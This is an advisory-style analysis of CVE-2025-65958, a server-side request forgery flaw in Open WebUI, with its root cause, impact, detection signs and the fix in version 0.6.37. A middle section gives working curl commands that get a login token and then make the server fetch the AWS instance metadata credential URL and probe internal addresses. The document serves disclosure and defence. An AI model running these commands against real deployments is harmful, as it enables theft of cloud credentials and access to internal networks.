CVE-2025-65958: 
Python vulnerability analysis and mitigation

CVE-2025-65958 is a Server-Side Request Forgery (SSRF) vulnerability in Open WebUI, a self-hosted AI platform, affecting all versions up to and including 0.6.36. The flaw allows any authenticated user — regardless of role or privilege level — to force the server to make HTTP requests to arbitrary URLs, enabling access to cloud metadata endpoints, internal network scanning, and sensitive data exfiltration. It was published on December 4, 2025, and fixed in version 0.6.37. The CVSS v3.1 base score is 8.5 (High) per the GitHub CNA, or 7.1 (High) per NVD's assessment (GitHub Advisory, Github Advisory).

The root cause is CWE-918 (Server-Side Request Forgery): the /api/v1/retrieval/process/web endpoint in backend/open_webui/routers/retrieval.py (lines 1758–1767) passes the user-supplied form_data.url parameter directly to get_content_from_url() without any validation. The call chain proceeds through retrieval/utils.py to get_web_loader() or YoutubeLoader(), both of which fetch the attacker-controlled URL without checking for private IP ranges (RFC1918), localhost addresses, cloud metadata endpoints (e.g., 169.254.169.254, fd00:ec2::254), or non-HTTP protocols (file://, gopher://). Exploitation requires only a valid authenticated session — no elevated permissions are needed. A public proof-of-concept is included in the security advisory (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to steal cloud credentials (AWS/GCP/Azure) by querying instance metadata endpoints, potentially leading to full cloud account takeover. Attackers can also bypass firewalls to access internal services such as databases, admin panels, and Kubernetes API servers, perform internal port scanning, and exfiltrate sensitive configurations, secrets, and API keys. The confidentiality impact is rated High, with a low integrity impact and no availability impact (GitHub Advisory).

A proof-of-concept exploit is publicly available within the GitHub Security Advisory itself, demonstrating both basic SSRF and advanced AWS metadata credential theft via simple curl commands. There is no confirmed evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.041% (13th percentile), indicating a low but non-negligible probability of exploitation in the near term. This CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory, GitHub Advisory).

1. Obtain credentials: Acquire any valid Open WebUI user account (no special role required).
2. Authenticate and retrieve token: Send a POST request to /api/v1/auths/signin with valid credentials to obtain a bearer token:

   TOKEN=$(curl -s "http://<target>:3000/api/v1/auths/signin" -H 'Content-Type: application/json' -d '{"email":"user@example.com","password":"password"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

3. Probe the vulnerable endpoint: Send a POST request to /api/v1/retrieval/process/web with an arbitrary URL in the url field to confirm SSRF:

   curl -s "http://<target>:3000/api/v1/retrieval/process/web" -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"url":"http://example.com"}'

4. Target cloud metadata endpoint: Replace the URL with the AWS instance metadata endpoint to steal IAM credentials:

   curl -s "http://<target>:3000/api/v1/retrieval/process/web" -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

5. Enumerate internal services: Use internal IP addresses or hostnames to scan and access internal services (e.g., {"url":"http://192.168.1.1"}, {"url":"http://localhost:5432"}).
6. Exfiltrate data: Parse the server's response, which returns the fetched content directly, to extract credentials, configurations, or other sensitive information (GitHub Advisory).

• Network: Outbound HTTP requests from the Open WebUI server to 169.254.169.254, fd00:ec2::254, metadata.google.internal, or metadata.azure.com; unexpected connections to RFC1918 addresses (10.x.x.x, 172.16.x.x–172.31.x.x, 192.168.x.x) or localhost ports from the application process.
• Logs: Repeated POST requests to /api/v1/retrieval/process/web in web server access logs with url parameters pointing to internal or metadata addresses; application logs showing URL fetch attempts to non-public destinations.
• Application Behavior: API responses containing cloud credential JSON structures (e.g., AccessKeyId, SecretAccessKey, Token fields) or internal service banners returned to authenticated users via the retrieval endpoint (GitHub Advisory).

Upgrade Open WebUI to version 0.6.37 or later, which introduces SSRF protection via a configurable blocklist (WEB_FETCH_FILTER_LIST) that by default blocks cloud metadata endpoints (169.254.169.254, fd00:ec2::254, metadata.google.internal, metadata.azure.com, 100.100.100.200) and enforces HTTP/HTTPS-only protocol validation. The fix also resolves hostnames to IP addresses before applying blocklist checks to prevent DNS rebinding bypasses. As interim mitigations, implement network-level egress filtering to block access to metadata endpoints and RFC1918 ranges from the Open WebUI host, deploy a WAF to inspect and block suspicious requests to the /api/v1/retrieval/process/web endpoint, and restrict Open WebUI access to trusted users only (Patch Commit, GitHub Advisory).

The vulnerability was reported by researcher teolines and published by Open WebUI maintainer tjbck via GitHub's coordinated disclosure process on December 4, 2025. CISA-ADP tagged the advisory as both an exploit and vendor advisory reference, indicating awareness at the national cybersecurity level. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database aggregation (Github Advisory).